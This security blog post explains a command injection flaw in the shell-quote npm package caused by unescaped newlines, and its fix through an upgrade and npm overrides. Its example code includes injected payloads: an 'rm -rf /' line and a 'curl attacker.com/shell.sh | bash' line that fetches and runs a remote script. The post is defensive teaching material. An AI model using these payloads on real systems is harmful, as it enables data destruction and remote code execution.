Back to Blog
critical SEVERITY6 min read

How Command Injection via Unescaped Line Terminators Happens in Node.js and How to Fix It

A critical command injection vulnerability (CVE-2026-9277) was discovered in the shell-quote npm package version 1.8.3, where unescaped line terminators could allow attackers to execute arbitrary code. This fix upgrades shell-quote to version 1.9.0 using npm overrides to ensure all instances in the dependency tree are patched, eliminating the attack vector across the entire application.

O
By Orbis AppSec
•Technically reviewed by Anupam Mediratta•Published August 23, 2026•Reviewed August 23, 2026

Answer Summary

CVE-2026-9277 is a critical command injection vulnerability in the shell-quote npm package (versions prior to 1.9.0) caused by improper escaping of line terminators (CWE-78: OS Command Injection). Attackers can inject malicious shell commands through user input containing newline characters. The fix requires upgrading shell-quote to version 1.9.0 or later, typically using npm overrides in package.json to ensure all transitive dependencies use the patched version.

Vulnerability at a Glance

cweCWE-78
fixUpgrade shell-quote to 1.9.0 using npm overrides
riskArbitrary code execution on the server
languageJavaScript/Node.js
root causeshell-quote failed to escape line terminators (\n, \r) in shell command strings
vulnerabilityCommand Injection via Unescaped Line Terminators

Introduction

A critical security flaw lurked in the dependency tree—the shell-quote package at version 1.8.3 contained a command injection vulnerability that could allow attackers to execute arbitrary code on the server. The package-lock.json file locked in this vulnerable version, and without intervention, any code path that processed user input through shell-quote's parsing or quoting functions was potentially exploitable.

The vulnerability, tracked as CVE-2026-9277, stems from shell-quote's failure to properly escape line terminator characters (\n, \r, and Unicode line separators). When user-controlled input containing these characters passes through shell-quote and eventually reaches a shell, attackers can break out of the intended command context and inject their own malicious commands.

This matters because shell-quote is a foundational package—it's used by popular tools like cross-spawn, npm-run-all, and many build systems. A single vulnerable transitive dependency can expose your entire application.

The Vulnerability Explained

The shell-quote package provides functions to parse and quote shell command strings safely. It's commonly used when applications need to construct shell commands from user input or pass arguments to child processes. The core promise is that shell-quote will properly escape dangerous characters so they're treated as literal strings, not shell metacharacters.

However, version 1.8.3 and earlier had a critical blind spot: line terminator characters were not being escaped. In shell syntax, a newline character effectively ends one command and begins another. Consider this attack scenario:

const shellQuote = require('shell-quote');

// User provides this malicious filename
const userInput = "file.txt\nrm -rf /";

// Application tries to safely quote the input
const quoted = shellQuote.quote([userInput]);

// Expected: 'file.txt\nrm -rf /'  (escaped newline)
// Actual in 1.8.3: 'file.txt
// rm -rf /'  (literal newline - command injection!)

When this quoted string is passed to a shell (via child_process.exec() or similar), the shell interprets the unescaped newline as a command separator. Instead of processing a single filename, it executes:
1. A partial command with file.txt
2. The attacker's injected command: rm -rf /

Real-World Attack Scenario

Imagine an Electron application (as indicated by the electron and electron-builder dependencies in this project's package.json) that allows users to specify file paths for processing:

const { exec } = require('child_process');
const shellQuote = require('shell-quote');

function processUserFile(filename) {
  // Developer thinks this is safe because shell-quote handles escaping
  const safeFilename = shellQuote.quote([filename]);
  exec(`cat ${safeFilename}`, (error, stdout) => {
    // Process output...
  });
}

// Attacker provides:
processUserFile("innocent.txt\ncurl attacker.com/shell.sh | bash");

With the vulnerable shell-quote 1.8.3, the attacker's payload executes, potentially downloading and running a malicious script with the application's privileges.

The Fix

The fix involves two precise changes to ensure the patched version of shell-quote is used throughout the entire dependency tree:

Before (Vulnerable)

package-lock.json:

"node_modules/shell-quote": {
  "version": "1.8.3",
  "resolved": "https://registry.npmjs.org/shell-quote/-/shell-quote-1.8.3.tgz",
  "integrity": "sha512-ObmnIF4hXNg1BqhnHmgbDETF8dLPCggZWBjkQfhZpbszZnYur5DUljTcCHii5LC3J5E0yeO/1LIMyH+UvHQgyw==",

After (Fixed)

package-lock.json:

"node_modules/shell-quote": {
  "version": "1.9.0",
  "resolved": "https://registry.npmjs.org/shell-quote/-/shell-quote-1.9.0.tgz",
  "integrity": "sha512-Iov+JwFv/2HcTpcwNMKd8+IWNb8tboQJNQTkAY/LLVK7gGH9jy+LGkVqPxfekHl+yMmiqXszdGWBXgkfml7hjqA==",

package.json (new overrides section):

"overrides": {
  "shell-quote": "1.9.0"
}

Why Both Changes Were Necessary

  1. package-lock.json update: This updates the direct resolution of shell-quote to 1.9.0, ensuring the fixed version is installed.

  2. package.json overrides: This is the critical addition. The overrides field in npm forces ALL instances of shell-quote throughout the entire dependency tree to use version 1.9.0. Without this, transitive dependencies (packages that depend on shell-quote) might still pull in the vulnerable 1.8.3 version.

The shell-quote 1.9.0 release properly escapes line terminators by converting them to their escaped equivalents (\\n, \\r) before they reach the shell, ensuring they're treated as literal characters rather than command separators.

Key Takeaways

  • Line terminators are shell metacharacters: Characters like \n and \r can break out of command context just like ; or |—shell-quote 1.8.3 missed this edge case
  • Transitive dependencies require overrides: Simply updating package-lock.json isn't enough when vulnerable packages exist deep in your dependency tree—the overrides field ensures consistent patching
  • Electron apps are high-value targets: This project uses Electron, meaning command injection could compromise the user's entire desktop environment, not just a sandboxed server
  • Trust but verify escaping libraries: Even well-maintained packages like shell-quote can have gaps—defense in depth with input validation remains essential
  • The integrity hash changed completely: Note how the SHA-512 integrity hash differs entirely between versions—this is your verification that the package contents have changed

How Orbis AppSec Detected This

  • Source: User-influenced input entering the application through various entry points that eventually flow to shell command construction
  • Sink: Any code path using shell-quote.quote() or shell-quote.parse() where the output is passed to shell execution functions like child_process.exec()
  • Missing control: The shell-quote library (version 1.8.3) failed to escape line terminator characters, allowing command injection even when developers correctly used the library
  • CWE: CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
  • Fix: Upgraded shell-quote from 1.8.3 to 1.9.0 and added npm overrides to ensure all transitive dependencies use the patched version

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

CVE-2026-9277 demonstrates how a subtle escaping oversight—failing to handle line terminators—can escalate to critical arbitrary code execution. The shell-quote package is trusted by thousands of projects to safely construct shell commands, making this vulnerability particularly impactful.

The fix was straightforward: upgrade to version 1.9.0 and use npm overrides to ensure consistent patching across the dependency tree. However, the lesson extends beyond this single CVE. Defense in depth remains essential—combine proper escaping libraries with input validation, prefer spawn() over exec(), and implement automated dependency scanning to catch these issues before attackers do.

Your dependencies are part of your attack surface. Treat them accordingly.

Prevention and further reading

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #225

Related Articles

critical

Lampa Desktop Auto-Update Heuristic Bypass: Execution of Unverified

Lampa Desktop's auto-update mechanism downloaded JavaScript and CSS from `raw.githubusercontent.com` using only heuristic validation—file size thresholds and string pattern matching—that attackers could trivially satisfy. The fix introduces cryptographic integrity verification by cross-referencing Git blob hashes from the GitHub Contents API, ensuring downloaded code matches the repository's authoritative state before execution.

high

adm-zip 0.6.0 Preserves SUID Bits From ZIPs: CVE-2026-102282

The `adm-zip` dependency resolved to 0.6.0 in this project's dependency tree, a version affected by CVE-2026-102282: during extraction it applies the Unix permission bits stored in each ZIP entry's external file attributes verbatim, including the setuid (`04000`), setgid (`02000`), and sticky bits. An attacker who controls an archive passed to `extractAllTo()` or `extractEntryTo()` can therefore have the extractor create a setuid binary owned by whatever user the extraction process runs as. The

high

requestInput() Type Confusion: NaN and Object Bypass in JavaScript

The `requestInput()` utility function lacked validation on its `type` parameter and failed to handle `NaN` results from float conversions, creating a type confusion weakness. An attacker could supply malformed inputs that propagate unhandled `NaN` values or unexpected object types through the type system. The fix adds explicit guards against `NaN` type parameters and rejects non-primitive type values.

critical

No Rate Limit on /api/uploads/presign Enables DoS

The `/api/uploads/presign` endpoint accepted unlimited concurrent requests to generate storage presigned URLs, giving an attacker a free lever to exhaust storage-provider quotas and server resources. The fix adds an `express-rate-limit` middleware capping each client to 30 requests per minute on that route.

high

CVE-2026-54673: builder-util-runtime Leaks Auth Headers on Redirect

electron-updater and electron-builder rely on builder-util-runtime to fetch update manifests and artifacts over HTTP. A flaw in that shared HTTP executor allowed credential headers attached to the original update-feed request to be re-sent after a redirect, exposing them to any host the redirect pointed to. The project fixes this by upgrading builder-util-runtime to 9.7.0 and collapsing a duplicate, older copy of the package that electron-updater had pinned on its own.

high

image-size 1.2.1 DoS: Zero-Valued Dimensions in Image Buffer Parser

A high-severity denial-of-service vulnerability in image-size 1.2.1 allows attackers to crash Node.js services using malicious image buffers with zero-valued dimensions. The fix removes the vulnerable `queue` dependency and tightens dimension validation in version 2.0.3.